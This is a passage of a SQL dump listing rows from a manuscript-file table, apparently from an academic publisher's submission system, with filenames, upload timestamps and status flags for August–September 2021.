11:31:24',1,3,0),(23397,10138,'10138-0-Manuscript-2021-08-19.docx',NULL,'2021-08-19 13:25:16',1,1,0),(23398,10139,'10139-0-Manuscript-2021-08-19.docx',NULL,'2021-08-19 14:05:01',1,1,0),(23401,10142,'10142-0-Manuscript-2021-08-19.docx',NULL,'2021-08-19 15:01:40',1,1,0),(23402,10143,'10143-0-Manuscript-2021-08-19.docx',NULL,'2021-08-19 15:27:26',1,1,0),(23404,10144,'10144-0-Manuscript-2021-08-20.docx',NULL,'2021-08-19 18:51:21',1,1,0),(23409,10147,'10147-0-Manuscript-2021-08-20.docx',NULL,'2021-08-20 03:35:32',1,1,0),(23416,9998,'9998-395-Manuscript-proof-submission-2021-08-20.docx',NULL,'2021-08-20 05:12:29',1,3,0),(23418,10149,'10149-0-Manuscript-2021-08-20.docx',NULL,'2021-08-20 05:46:39',1,1,0),(23419,10150,'10150-0-Manuscript-2021-08-20.docx',NULL,'2021-08-20 06:16:08',1,1,0),(23452,10116,'10116-896-Manuscript-2021-08-20.docx',NULL,'2021-08-20 16:16:23',1,1,0),(23453,10139,'10139-1112-Manuscript-2021-08-20.docx',NULL,'2021-08-20 16:17:02',1,1,0),(23473,9976,'9976-274-Manuscript-proof-submission-2021-08-21.rar',NULL,'2021-08-21 05:50:49',1,3,0),(23474,9976,'9976-171-Manuscript-proof-submission-2021-08-21.rar',NULL,'2021-08-21 05:50:52',1,3,0),(23479,9713,'9713-Manuscript-2021-08-21-k9e4-ipacm-21-9713.rar',NULL,'2021-08-21 06:56:06',1,3,0),(23490,9910,'9910-Manuscript-2021-08-21-e2ah-iphsj-21-9910.rar',NULL,'2021-08-21 07:35:49',1,3,1),(23492,10173,'10173-0-Manuscript-2021-08-21.docx',NULL,'2021-08-21 09:47:17',1,1,0),(23493,10173,'10173-46-Manuscript-2021-08-21.docx',NULL,'2021-08-21 10:16:41',1,1,0),(23494,10173,'10173-820-Manuscript-2021-08-21.docx',NULL,'2021-08-21 10:16:41',1,1,0),(23495,10173,'10173-609-Manuscript-2021-08-21.docx',NULL,'2021-08-21 10:16:41',1,1,0),(23496,10173,'10173-996-Manuscript-2021-08-21.docx',NULL,'2021-08-21 10:16:41',1,1,0),(23497,10173,'10173-688-Manuscript-2021-08-21.docx',NULL,'2021-08-21 10:43:05',1,1,0),(23498,10174,'10174-0-Manuscript-2021-08-21.docx',NULL,'2021-08-21 10:54:58',1,1,0),(23500,10176,'10176-0-Manuscript-2021-08-22.pdf',NULL,'2021-08-21 20:22:17',1,1,0),(23502,10178,'10178-0-Manuscript-2021-08-22.docx',NULL,'2021-08-21 22:08:43',1,1,0),(23506,10182,'10182-0-Manuscript-2021-08-23.docx',NULL,'2021-08-22 21:36:32',1,1,0),(23520,10190,'10190-0-Manuscript-2021-08-23.doc',NULL,'2021-08-23 05:36:29',1,1,0),(23526,9910,'9910-Manuscript-2021-08-23-2708-graphic-completed.pdf',NULL,'2021-08-23 06:20:11',1,3,1),(23529,9651,'9651-24-Manuscript-proof-submission-2021-08-23.pdf',NULL,'2021-08-23 07:40:04',1,3,0),(23530,9651,'9651-63-Manuscript-proof-submission-2021-08-23.docx',NULL,'2021-08-23 07:40:04',1,3,0),(23532,10192,'10192-0-Manuscript-2021-08-23.docx',NULL,'2021-08-23 08:32:45',1,1,0),(23593,10200,'10200-0-Manuscript-2021-08-24.docx',NULL,'2021-08-24 07:13:40',1,1,0),(23598,10001,'10001-1043-Manuscript-proof-submission-2021-08-24.rar',NULL,'2021-08-24 08:04:23',1,3,1),(23600,9960,'9960-770-Manuscript-proof-submission-2021-08-24.rar',NULL,'2021-08-24 08:17:39',1,3,0),(23601,9960,'9960-1562-Manuscript-proof-submission-2021-08-24.rar',NULL,'2021-08-24 08:17:43',1,3,0),(23602,9960,'9960-707-Manuscript-proof-submission-2021-08-24.rar',NULL,'2021-08-24 08:17:46',1,3,0),(23603,9960,'9960-1828-Manuscript-proof-submission-2021-08-24.rar',NULL,'2021-08-24 08:17:47',1,3,0),(23604,9960,'9960-2012-Manuscript-proof-submission-2021-08-24.rar',NULL,'2021-08-24 08:17:50',1,3,0),(23605,9960,'9960-1786-Manuscript-proof-submission-2021-08-24.rar',NULL,'2021-08-24 08:17:52',1,3,0),(23616,8553,'8553-Manuscript-2021-08-24-uaxj-graphic-completed.pdf',NULL,'2021-08-24 09:34:23',1,3,0),(23655,10222,'10222-0-Manuscript-2021-08-25.docx',NULL,'2021-08-25 05:20:54',1,1,0),(23684,10017,'10017-1006-Manuscript-proof-submission-2021-08-25.rar',NULL,'2021-08-25 08:39:36',1,3,0),(23685,10017,'10017-1614-Manuscript-proof-submission-2021-08-25.rar',NULL,'2021-08-25 08:39:38',1,3,0),(23686,10229,'10229-0-Manuscript-2021-08-25.docx',NULL,'2021-08-25 08:56:15',1,1,0),(23692,9519,'9519-623-Manuscript-proof-submission-2021-08-25.rar',NULL,'2021-08-25 09:25:33',1,3,0),(23720,10017,'10017-Manuscript-2021-08-25-omsi-iphsj-21-10017.rar',NULL,'2021-08-25 13:18:43',1,3,1),(23723,10234,'10234-0-Manuscript-2021-08-26.docx',NULL,'2021-08-25 18:57:11',1,1,0),(23754,10017,'10017-Manuscript-2021-08-26-hpnm-graphic-completed.pdf',NULL,'2021-08-26 09:54:03',1,3,1),(23757,9519,'9519-Manuscript-2021-08-26-rl6p-iphsj-21-9519.docx',NULL,'2021-08-26 09:56:19',1,3,0),(23758,9960,'9960-Manuscript-2021-08-26-zrc7-iphsj-21-9960.rar',NULL,'2021-08-26 10:13:34',1,3,0),(23759,9519,'9519-Manuscript-2021-08-26-lspc-ap-ame-revised.docx',NULL,'2021-08-26 10:19:43',1,3,0),(23761,9960,'9960-Manuscript-2021-08-26-fwnx-ap-ame-revised.rar',NULL,'2021-08-26 10:26:59',1,3,0),(23762,9976,'9976-Manuscript-2021-08-26-x87a-iphsj-21-9976.rar',NULL,'2021-08-26 10:42:07',1,3,1),(23763,10001,'10001-Manuscript-2021-08-26-0zn1-iphsj-21-10001.rar',NULL,'2021-08-26 11:00:54',1,3,1),(23764,9960,'9960-Manuscript-2021-08-26-k8du-iphsj-21-9960.rar',NULL,'2021-08-26 11:11:35',1,3,1),(23765,9519,'9519-Manuscript-2021-08-26-kfwq-iphsj-21-9519.rar',NULL,'2021-08-26 11:14:12',1,3,1),(23767,10241,'10241-0-Manuscript-2021-08-26.docx',NULL,'2021-08-26 11:59:04',1,1,0),(23804,10252,'10252-0-Manuscript-2021-08-27.docx',NULL,'2021-08-27 16:39:09',1,1,0),(23805,10252,'10252-1-Manuscript-2021-08-27.pptx',NULL,'2021-08-27 16:39:09',1,1,0),(23806,10253,'10253-0-Manuscript-2021-08-27.docx',NULL,'2021-08-27 17:23:53',1,1,0),(23826,10263,'10263-0-Manuscript-2021-08-28.docx',NULL,'2021-08-28 05:51:36',1,1,0),(23835,10001,'10001-Manuscript-2021-08-28-29rd-graphic-completed.pdf',NULL,'2021-08-28 07:57:13',1,3,1),(23837,9960,'9960-Manuscript-2021-08-28-qsjc-graphic-completed.pdf',NULL,'2021-08-28 07:57:40',1,3,1),(23839,9519,'9519-Manuscript-2021-08-28-njov-graphic-completed.pdf',NULL,'2021-08-28 07:57:59',1,3,1),(23840,9960,'9960-Manuscript-2021-08-28-n2rq-graphic-completed.pdf',NULL,'2021-08-28 07:58:21',1,3,0),(23841,10265,'10265-0-Manuscript-2021-08-28.docx',NULL,'2021-08-28 08:03:23',1,1,0),(23849,10268,'10268-0-Manuscript-2021-08-28.zip',NULL,'2021-08-28 10:51:23',1,1,0),(23856,10275,'10275-0-Manuscript-2021-08-30.docx',NULL,'2021-08-30 02:54:33',1,1,0),(23915,10298,'10298-0-Manuscript-2021-08-30.docx',NULL,'2021-08-30 10:48:13',1,1,0),(23916,10299,'10299-0-Manuscript-2021-08-30.docx',NULL,'2021-08-30 11:02:20',1,1,0),(23917,10299,'10299-1-Manuscript-2021-08-30.docx',NULL,'2021-08-30 11:02:20',1,1,0),(23924,10229,'10229-586-Manuscript-proof-submission-2021-08-30.docx',NULL,'2021-08-30 12:24:02',1,3,0),(23935,10308,'10308-0-Manuscript-2021-08-30.docx',NULL,'2021-08-30 17:46:52',1,1,0),(23936,10309,'10309-0-Manuscript-2021-08-31.docx',NULL,'2021-08-31 00:31:25',1,1,0),(23941,10229,'10229-Manuscript-2021-08-31-9jrf-ipaom-21-10229.docx',NULL,'2021-08-31 04:34:11',1,3,1),(23967,10017,'10017-Manuscript-2021-08-31-mvni.pdf',NULL,'2021-08-31 06:40:37',1,3,1),(23971,10315,'10315-0-Manuscript-2021-08-31.docx',NULL,'2021-08-31 08:11:37',1,1,0),(23972,9519,'9519-Manuscript-2021-08-31-wflk.pdf',NULL,'2021-08-31 08:24:42',1,3,0),(23986,9813,'9813-229-Manuscript-proof-submission-2021-08-31.rar',NULL,'2021-08-31 11:55:37',1,3,0),(23990,10028,'10028-1308-Manuscript-proof-submission-2021-08-31.zip',NULL,'2021-08-31 12:09:06',1,3,0),(23994,9976,'9976-Manuscript-2021-08-31-okv2-graphic-completed.pdf',NULL,'2021-08-31 12:51:13',1,3,1),(23999,10322,'10322-0-Manuscript-2021-09-01.docx',NULL,'2021-09-01 04:30:30',1,1,0),(24002,10028,'10028-Manuscript-2021-09-01-3lvw-ipaom-21-10028.rar',NULL,'2021-09-01 04:39:36',1,3,1),(24003,10229,'10229-Manuscript-2021-09-01-y50w-graphic-completed.pdf',NULL,'2021-09-01 05:14:14',1,3,1),(24021,10329,'10329-0-Manuscript-2021-09-01.docx',NULL,'2021-09-01 09:52:34',1,1,0),(24022,10330,'10330-0-Manuscript-2021-09-01.docx',NULL,'2021-09-01 09:54:24',1,1,0),(24023,10331,'10331-0-Manuscript-2021-09-01.docx',NULL,'2021-09-01 09:55:39',1,1,0),(24025,10332,'10332-0-Manuscript-2021-09-01.docx',NULL,'2021-09-01 09:57:40',1,1,0),(24026,10333,'10333-0-Manuscript-2021-09-01.docx',NULL,'2021-09-01 09:59:05',1,1,0),(24048,10335,'10335-0-Manuscript-2021-09-01.docx',NULL,'2021-09-01 12:26:20',1,1,0),(24049,10335,'10335-1-Manuscript-2021-09-01.docx',NULL,'2021-09-01 12:26:20',1,1,0),(24098,10340,'10340-0-Manuscript-2021-09-02.docx',NULL,'2021-09-02 09:33:52',1,1,0),(24110,10142,'10142-1010-Manuscript-proof-submission-2021-09-02.rar',NULL,'2021-09-02 11:27:51',1,3,0),(24112,10342,'10342-0-Manuscript-2021-09-02.docx',NULL,'2021-09-02 11:33:48',1,1,1),(24116,10344,'10344-0-Manuscript-2021-09-02.docx',NULL,'2021-09-02 17:33:48',1,1,0),(24118,10346,'10346-0-Manuscript-2021-09-03.docx',NULL,'2021-09-02 23:19:08',1,1,0),(24119,10346,'10346-1-Manuscript-2021-09-03.doc',NULL,'2021-09-02 23:19:08',1,1,0),(24123,10349,'10349-0-Manuscript-2021-09-03.docx',NULL,'2021-09-03 04:48:15',1,1,0),(24124,10350,'10350-0-Manuscript-2021-09-03.docx',NULL,'2021-09-03 05:08:30',1,1,0),(24125,10351,'10351-0-Manuscript-2021-09-03.docx',NULL,'2021-09-03 05:19:44',1,1,0),(24126,10315,'10315-1058-Manuscript-2021-09-03.docx',NULL,'2021-09-03 05:23:28',1,1,0),(24136,9973,'9973-2015-Manuscript-proof-submission-2021-09-03.rar',NULL,'2021-09-03 06:46:32',1,3,0),(24137,8837,'8837-1761-Manuscript-proof-submission-2021-09-03.rar',NULL,'2021-09-03 06:49:13',1,3,0),(24141,10012,'10012-9-Manuscript-proof-submission-2021-09-03.rar',NULL,'2021-09-03 08:27:52',1,3,0),(24146,8638,'8638-969-Manuscript-proof-submission-2021-09-03.rar',NULL,'2021-09-03 09:18:11',1,3,0),(24147,8846,'8846-143-Manuscript-proof-submission-2021-09-03.rar',NULL,'2021-09-03 09:25:49',1,3,0),(24148,9031,'9031-1280-Manuscript-proof-submission-2021-09-03.rar',NULL,'2021-09-03 09:50:45',1,3,0),(24150,10012,'10012-Manuscript-2021-09-03-9xw4-ipjnn-21-10012.rar',NULL,'2021-09-03 09:51:18',1,3,1),(24154,10028,'10028-Manuscript-2021-09-03-2x75-graphic-completed.pdf',NULL,'2021-09-03 10:01:10',1,3,0),(24155,9057,'9057-1033-Manuscript-proof-submission-2021-09-03.rar',NULL,'2021-09-03 10:12:45',1,3,0),(24160,10360,'10360-0-Manuscript-2021-09-03.docx',NULL,'2021-09-03 11:00:46',1,1,0),(24172,8638,'8638-Manuscript-2021-09-03-e8wn-ipjnn-21-8638.rar',NULL,'2021-09-03 12:28:25',1,3,1),(24173,10366,'10366-0-Manuscript-2021-09-03.docx',NULL,'2021-09-03 12:28:29',1,1,0),(24174,10366,'10366-1-Manuscript-2021-09-03.docx',NULL,'2021-09-03 12:28:29',1,1,0),(24176,10368,'10368-0-Manuscript-2021-09-03.docx',NULL,'2021-09-03 12:54:15',1,1,0),(24180,10371,'10371-0-Manuscript-2021-09-04.docx',NULL,'2021-09-04 03:50:18',1,1,0),(24182,10028,'10028-Manuscript-2021-09-04-g2cx.pdf',NULL,'2021-09-04 04:01:58',1,3,0),(24184,10101,'10101-1072-Manuscript-proof-submission-2021-09-04.pdf',NULL,'2021-09-04 04:39:44',1,3,0),(24185,10101,'10101-1841-Manuscript-proof-submission-2021-09-04.pdf',NULL,'2021-09-04 04:39:45',1,3,0),(24186,10100,'10100-1193-Manuscript-proof-submission-2021-09-04.pdf',NULL,'2021-09-04 04:40:06',1,3,0),(24187,9411,'9411-1155-Manuscript-proof-submission-2021-09-04.docx',NULL,'2021-09-04 04:41:13',1,3,0),(24201,10028,'10028-Manuscript-2021-09-04-hsmx.pdf',NULL,'2021-09-04 05:20:45',1,3,0),(24202,10329,'10329-1386-Manuscript-proof-submission-2021-09-04.docx',NULL,'2021-09-04 05:24:05',1,3,0),(24203,10330,'10330-74-Manuscript-proof-submission-2021-09-04.docx',NULL,'2021-09-04 05:24:30',1,3,0),(24207,9397,'9397-173-Manuscript-proof-submission-2021-09-04.rar',NULL,'2021-09-04 05:41:14',1,3,0),(24208,9397,'9397-1384-Manuscript-proof-submission-2021-09-04.rar',NULL,'2021-09-04 05:41:21',1,3,1),(24216,10331,'10331-105-Manuscript-proof-submission-2021-09-04.docx',NULL,'2021-09-04 06:11:14',1,3,0),(24217,10332,'10332-1890-Manuscript-proof-submission-2021-09-04.docx',NULL,'2021-09-04 06:11:30',1,3,0),(24218,10333,'10333-969-Manuscript-proof-submission-2021-09-04.docx',NULL,'2021-09-04 06:12:02',1,3,0),(24219,10100,'10100-Manuscript-2021-09-04-90po-move-pdf-making.pdf',NULL,'2021-09-04 06:14:38',1,3,0),(24220,10101,'10101-Manuscript-2021-09-04-jqxo-move-pdf-making.pdf',NULL,'2021-09-04 06:15:31',1,3,0),(24222,9998,'9998-Manuscript-2021-09-04-ipr3-move-pdf-making.pdf',NULL,'2021-09-04 06:16:46',1,3,0),(24223,9665,'9665-Manuscript-2021-09-04-e3mj-move-pdf-making.pdf',NULL,'2021-09-04 06:18:33',1,3,0),(24225,9664,'9664-Manuscript-2021-09-04-81fb-move-pdf-making.pdf',NULL,'2021-09-04 06:19:16',1,3,0),(24226,9408,'9408-Manuscript-2021-09-04-25z7-move-pdf-making.pdf',NULL,'2021-09-04 06:20:03',1,3,0),(24236,10329,'10329-Manuscript-2021-09-04-fejp-IPJUS-21-10329.docx',NULL,'2021-09-04 06:32:54',1,3,0),(24237,10330,'10330-Manuscript-2021-09-04-n4xe-IPJUS-21-10330.docx',NULL,'2021-09-04 06:34:11',1,3,0),(24238,10330,'10330-Manuscript-2021-09-04-iw1y-IPJUS-21-10330.docx',NULL,'2021-09-04 06:35:47',1,3,0),(24239,10101,'10101-Manuscript-2021-09-04-jsum-move-pdf-making.docx',NULL,'2021-09-04 06:45:12',1,3,0),(24240,9408,'9408-Manuscript-2021-09-04-buz2-move-pdf-making.docx',NULL,'2021-09-04 06:47:52',1,3,0),(24241,10340,'10340-1846-Manuscript-proof-submission-2021-09-04.docx',NULL,'2021-09-04 06:48:44',1,3,0),(24242,9537,'9537-Manuscript-2021-09-04-6m1c-move-pdf-making.docx',NULL,'2021-09-04 06:50:29',1,3,0),(24243,9664,'9664-Manuscript-2021-09-04-l5z8-move-pdf-making.docx',NULL,'2021-09-04 06:52:27',1,3,0),(24244,9753,'9753-1197-Manuscript-proof-submission-2021-09-04.rar',NULL,'2021-09-04 06:53:38',1,3,0),(24245,9665,'9665-Manuscript-2021-09-04-oq20-move-pdf-making.docx',NULL,'2021-09-04 06:53:49',1,3,0),(24246,9998,'9998-Manuscript-2021-09-04-zwqo-move-pdf-making.docx',NULL,'2021-09-04 06:55:32',1,3,0),(24247,10100,'10100-Manuscript-2021-09-04-9c2o-move-pdf-making.docx',NULL,'2021-09-04 06:57:16',1,3,0),(24248,10101,'10101-Manuscript-2021-09-04-6j0x-move-pdf-making.docx',NULL,'2021-09-04 06:58:22',1,3,0),(24250,8846,'8846-Manuscript-2021-09-04-p8ma-ipjnn-21-8846.rar',NULL,'2021-09-04 07:11:36',1,3,1),(24251,10101,'10101-Manuscript-2021-09-04-bwar-move-pdf-making.docx',NULL,'2021-09-04 07:13:16',1,3,0),(24252,10100,'10100-Manuscript-2021-09-04-c1vl-move-pdf-making.docx',NULL,'2021-09-04 07:13:43',1,3,0),(24254,10331,'10331-Manuscript-2021-09-04-vjt6-IPJUS-21-10331.docx',NULL,'2021-09-04 07:16:23',1,3,0),(24255,10332,'10332-Manuscript-2021-09-04-rzn0-IPJUS-21-10332.docx',NULL,'2021-09-04 07:16:56',1,3,0),(24256,10333,'10333-Manuscript-2021-09-04-xs6h-IPJUS-21-10333.docx',NULL,'2021-09-04 07:17:26',1,3,0),(24257,9813,'9813-Manuscript-2021-09-04-sd6w-iphsj-21-9813.rar',NULL,'2021-09-04 07:20:19',1,3,1),(24258,9973,'9973-Manuscript-2021-09-04-30j5-iphsj-21-9973.rar',NULL,'2021-09-04 07:21:05',1,3,1),(24260,10142,'10142-Manuscript-2021-09-04-3z1g-iphsj-21-10142.rar',NULL,'2021-09-04 07:22:07',1,3,1),(24262,9031,'9031-Manuscript-2021-09-04-q9i6-ipjnn-21-9031.rar',NULL,'2021-09-04 07:27:43',1,3,0),(24263,9031,'9031-Manuscript-2021-09-04-y6di-ipjnn-21-9031.rar',NULL,'2021-09-04 07:29:14',1,3,1),(24283,9770,'9770-303-Manuscript-proof-submission-2021-09-06.zip',NULL,'2021-09-06 04:48:29',1,3,0),(24285,9713,'9713-1586-Manuscript-proof-submission-2021-09-06.docx',NULL,'2021-09-06 04:54:39',1,3,0),(24286,9713,'9713-1286-Manuscript-proof-submission-2021-09-06.docx',NULL,'2021-09-06 04:54:39',1,3,0),(24287,9713,'9713-1969-Manuscript-proof-submission-2021-09-06.docx',NULL,'2021-09-06 04:54:39',1,3,0),(24296,10329,'10329-Manuscript-2021-09-06-hn27-graphic-completed.pdf',NULL,'2021-09-06 05:56:44',1,3,1),(24297,10330,'10330-Manuscript-2021-09-06-p9g1-graphic-completed.pdf',NULL,'2021-09-06 06:03:01',1,3,0),(24298,10331,'10331-Manuscript-2021-09-06-1fuq-graphic-completed.pdf',NULL,'2021-09-06 06:08:20',1,3,0),(24299,10332,'10332-Manuscript-2021-09-06-h867-graphic-completed.pdf',NULL,'2021-09-06 06:12:24',1,3,0),(24300,10333,'10333-Manuscript-2021-09-06-2u5b-graphic-completed.pdf',NULL,'2021-09-06 06:16:35',1,3,0),(24302,9753,'9753-Manuscript-2021-09-06-kzay-ap-ame-revised.rar',NULL,'2021-09-06 06:36:28',1,3,0),(24304,9813,'9813-Manuscript-2021-09-06-k7y9-graphic-completed.pdf',NULL,'2021-09-06 07:05:30',1,3,1),(24305,9973,'9973-Manuscript-2021-09-06-gt92-graphic-completed.pdf',NULL,'2021-09-06 07:06:02',1,3,1),(24309,10012,'10012-Manuscript-2021-09-06-ry0m-graphic-completed.pdf',NULL,'2021-09-06 08:21:29',1,3,0),(24316,8638,'8638-Manuscript-2021-09-06-oyik-graphic-completed.pdf',NULL,'2021-09-06 08:55:43',1,3,0),(24318,10340,'10340-46-Manuscript-2021-09-06.docx',NULL,'2021-09-06 09:20:22',1,1,0),(24341,10400,'10400-0-Manuscript-2021-09-06.docx',NULL,'2021-09-06 11:44:19',1,1,0),(24345,10142,'10142-Manuscript-2021-09-06-dt6f-graphic-completed.pdf',NULL,'2021-09-06 12:03:04',1,3,1),(24346,10340,'10340-Manuscript-2021-09-06-f2u3-ipaom-21-10340.docx',NULL,'2021-09-06 12:20:41',1,3,0),(24366,8846,'8846-Manuscript-2021-09-07-cwym-graphic-completed.pdf',NULL,'2021-09-07 09:28:52',1,3,0),(24367,9057,'9057-Manuscript-2021-09-07-fcu2-ipjnn-21-9057.rar',NULL,'2021-09-07 09:44:58',1,3,1),(24369,10409,'10409-0-Manuscript-2021-09-07.doc',NULL,'2021-09-07 10:55:35',1,1,0),(24379,10340,'10340-Manuscript-2021-09-07-92y0-graphic-completed.pdf',NULL,'2021-09-07 12:37:11',1,3,0),(24384,10413,'10413-0-Manuscript-2021-09-08.docx',NULL,'2021-09-08 04:38:12',1,1,0),(24385,10414,'10414-0-Manuscript-2021-09-08.docx',NULL,'2021-09-08 04:57:52',1,1,0),(24387,9397,'9397-Manuscript-2021-09-08-s84o-graphic-completed.pdf',NULL,'2021-09-08 05:31:07',1,3,1),(24399,8638,'8638-Manuscript-2021-09-08-oxjy.pdf',NULL,'2021-09-08 06:49:09',1,3,0),(24400,8846,'8846-Manuscript-2021-09-08-5aq9.pdf',NULL,'2021-09-08 06:49:34',1,3,0),(24401,10012,'10012-Manuscript-2021-09-08-7rk2.pdf',NULL,'2021-09-08 06:49:58',1,3,0),(24408,10040,'10040-1252-Manuscript-proof-submission-2021-09-08.zip',NULL,'2021-09-08 07:33:50',1,3,0),(24417,9031,'9031-Manuscript-2021-09-08-yg6j-graphic-completed.pdf',NULL,'2021-09-08 08:19:14',1,3,0),(24420,9057,'9057-Manuscript-2021-09-08-63rt-graphic-completed.pdf',NULL,'2021-09-08 08:35:28',1,3,0),(24425,9753,'9753-Manuscript-2021-09-08-6p2n-iphsj-21-9753.rar',NULL,'2021-09-08 09:05:23',1,3,1),(24432,8638,'8638-Manuscript-2021-09-08-6wck-graphic-completed.pdf',NULL,'2021-09-08 12:16:56',1,3,0),(24433,8846,'8846-Manuscript-2021-09-08-8p6s-graphic-completed.pdf',NULL,'2021-09-08 12:17:29',1,3,0),(24434,10012,'10012-Manuscript-2021-09-08-dysl-graphic-completed.pdf',NULL,'2021-09-08 12:17:57',1,3,0),(24463,9057,'9057-Manuscript-2021-09-09-dlys.pdf',NULL,'2021-09-09 05:21:03',1,3,0),(24481,10437,'10437-0-Manuscript-2021-09-09.docx',NULL,'2021-09-09 08:00:44',1,1,0),(24530,10451,'10451-0-Manuscript-2021-09-10.docx',NULL,'2021-09-09 19:57:29',1,1,0),(24531,10452,'10452-0-Manuscript-2021-09-10.pdf',NULL,'2021-09-10 01:46:59',1,1,0),(24535,10454,'10454-0-Manuscript-2021-09-10.docx',NULL,'2021-09-10 11:12:20',1,1,0),(24550,10466,'10466-0-Manuscript-2021-09-13.docx',NULL,'2021-09-13 04:38:37',1,1,0),(24572,10470,'10470-0-Manuscript-2021-09-13.docx',NULL,'2021-09-13 07:28:34',1,1,0),(24573,10470,'10470-1-Manuscript-2021-09-13.docx',NULL,'2021-09-13 07:28:34',1,1,0),(24574,10470,'10470-2-Manuscript-2021-09-13.docx',NULL,'2021-09-13 07:28:34',1,1,0),(24575,10470,'10470-3-Manuscript-2021-09-13.docx',NULL,'2021-09-13 07:28:34',1,1,0),(24577,9057,'9057-Manuscript-2021-09-13-i9rm-ap-ame-revised.pdf',NULL,'2021-09-13 08:22:15',1,3,0),(24585,10474,'10474-0-Manuscript-2021-09-13.docx',NULL,'2021-09-13 08:41:41',1,1,0),(24587,9772,'9772-1457-Manuscript-proof-submission-2021-09-13.zip',NULL,'2021-09-13 08:51:31',1,3,0),(24591,10331,'10331-Manuscript-2021-09-13-nouk.pdf',NULL,'2021-09-13 08:55:14',1,3,0),(24592,10333,'10333-Manuscript-2021-09-13-s5bl.pdf',NULL,'2021-09-13 08:55:47',1,3,0),(24608,10331,'10331-Manuscript-2021-09-13-mklr-ap-ame-revised.pdf',NULL,'2021-09-13 10:03:55',1,3,0),(24609,10333,'10333-Manuscript-2021-09-13-t7e3-ap-ame-revised.pdf',NULL,'2021-09-13 10:05:22',1,3,0),(24610,8837,'8837-Manuscript-2021-09-13-rewk-ipadm-21-8837.rar',NULL,'2021-09-13 10:22:57',1,3,1),(24612,10483,'10483-0-Manuscript-2021-09-13.docx',NULL,'2021-09-13 11:09:42',1,1,0),(24613,10483,'10483-1-Manuscript-2021-09-13.docx',NULL,'2021-09-13 11:09:42',1,1,0),(24614,10483,'10483-2-Manuscript-2021-09-13.docx',NULL,'2021-09-13 11:09:42',1,1,0),(24625,10486,'10486-0-Manuscript-2021-09-13.docx',NULL,'2021-09-13 12:27:06',1,1,0),(24626,10486,'10486-1-Manuscript-2021-09-13.docx',NULL,'2021-09-13 12:27:06',1,1,0),(24635,9753,'9753-Manuscript-2021-09-13-3yqm-graphic-completed.pdf',NULL,'2021-09-13 13:14:08',1,3,1),(24643,10493,'10493-0-Manuscript-2021-09-13.pdf',NULL,'2021-09-13 17:32:19',1,1,0),(24664,9340,'9340-574-Manuscript-proof-submission-2021-09-14.rar',NULL,'2021-09-14 06:05:17',1,3,0),(24669,8911,'8911-Manuscript-2021-09-14-nbuh-ipacm-21-8911.rar',NULL,'2021-09-14 06:21:12',1,3,0),(24670,9713,'9713-Manuscript-2021-09-14-1bym-ipacm-21-9713.rar',NULL,'2021-09-14 06:23:20',1,3,0),(24684,9772,'9772-1820-Manuscript-proof-submission-2021-09-14.zip',NULL,'2021-09-14 09:40:57',1,3,0),(24693,9772,'9772-Manuscript-2021-09-14-78y5-move-pdf-making.zip',NULL,'2021-09-14 09:50:32',1,3,0),(24694,9772,'9772-Manuscript-2021-09-14-hwae-move-pdf-making.docx',NULL,'2021-09-14 09:51:07',1,3,0),(24696,10505,'10505-0-Manuscript-2021-09-14.doc',NULL,'2021-09-14 10:23:15',1,1,0),(24698,9772,'9772-Manuscript-2021-09-14-1pgf-move-pdf-making.DOCX',NULL,'2021-09-14 11:26:09',1,3,0),(24699,9772,'9772-Manuscript-2021-09-14-ungs-move-pdf-making.docx',NULL,'2021-09-14 11:26:45',1,3,0),(24701,9772,'9772-Manuscript-2021-09-14-3r9x-move-pdf-making.DOCX',NULL,'2021-09-14 11:37:48',1,3,0),(24702,9772,'9772-Manuscript-2021-09-14-yva1-move-pdf-making.docx',NULL,'2021-09-14 11:38:22',1,3,0),(24713,10315,'10315-1001-Manuscript-proof-submission-2021-09-15.rar',NULL,'2021-09-15 03:58:51',1,3,0),(24717,9713,'9713-Manuscript-2021-09-15-vcwj-graphic-completed.pdf',NULL,'2021-09-15 05:20:28',1,3,0),(24718,8911,'8911-Manuscript-2021-09-15-s6g0-graphic-completed.pdf',NULL,'2021-09-15 05:21:13',1,3,0),(24728,10509,'10509-0-Manuscript-2021-09-15.docx',NULL,'2021-09-15 06:08:13',1,1,0),(24731,10315,'10315-Manuscript-2021-09-15-tabn-iphsj-21-10315.rar',NULL,'2021-09-15 06:25:59',1,3,0),(24732,10315,'10315-Manuscript-2021-09-15-sa86-iphsj-21-10315.rar',NULL,'2021-09-15 06:26:48',1,3,1),(24740,10263,'10263-692-Manuscript-proof-submission-2021-09-15.rar',NULL,'2021-09-15 08:16:27',1,3,0),(24741,9772,'9772-Manuscript-2021-09-15-blp1-rsuite-completed.pdf',NULL,'2021-09-15 08:35:08',1,3,0),(24770,10315,'10315-Manuscript-2021-09-15-f98a-graphic-completed.pdf',NULL,'2021-09-15 12:24:21',1,3,1),(24773,10523,'10523-0-Manuscript-2021-09-15.docx',NULL,'2021-09-15 16:50:36',1,1,0),(24774,10524,'10524-0-Manuscript-2021-09-16.docx',NULL,'2021-09-16 04:41:59',1,1,0),(24779,10526,'10526-0-Manuscript-2021-09-16.docx',NULL,'2021-09-16 04:47:24',1,1,0),(24787,9713,'9713-Manuscript-2021-09-16-31yu.pdf',NULL,'2021-09-16 05:06:44',1,3,0),(24788,10527,'10527-0-Manuscript-2021-09-16.pdf',NULL,'2021-09-16 05:09:30',1,1,0),(24797,9663,'9663-Manuscript-2021-09-16-xhza-move-pdf-making.pdf',NULL,'2021-09-16 07:46:16',1,3,0),(24798,9408,'9408-Manuscript-2021-09-16-328f.pdf',NULL,'2021-09-16 07:48:29',1,3,0),(24799,9998,'9998-Manuscript-2021-09-16-3uqi.pdf',NULL,'2021-09-16 07:50:27',1,3,0),(24800,10100,'10100-Manuscript-2021-09-16-slez.pdf',NULL,'2021-09-16 07:52:32',1,3,0),(24802,10101,'10101-Manuscript-2021-09-16-pnov.pdf',NULL,'2021-09-16 07:56:16',1,3,1),(24815,10368,'10368-873-Manuscript-2021-09-16.docx',NULL,'2021-09-16 09:37:13',1,1,0),(24816,10368,'10368-1116-Manuscript-2021-09-16.docx',NULL,'2021-09-16 09:37:13',1,1,0),(24837,8872,'8872-1211-Manuscript-proof-submission-2021-09-16.zip',NULL,'2021-09-16 11:22:53',1,3,0),(24866,9647,'9647-1250-Manuscript-proof-submission-2021-09-17.zip',NULL,'2021-09-17 04:55:38',1,3,0),(24878,8837,'8837-Manuscript-2021-09-17-hkrq-graphic-completed.pdf',NULL,'2021-09-17 06:20:07',1,3,1),(24913,10588,'10588-0-Manuscript-2021-09-17.docx',NULL,'2021-09-17 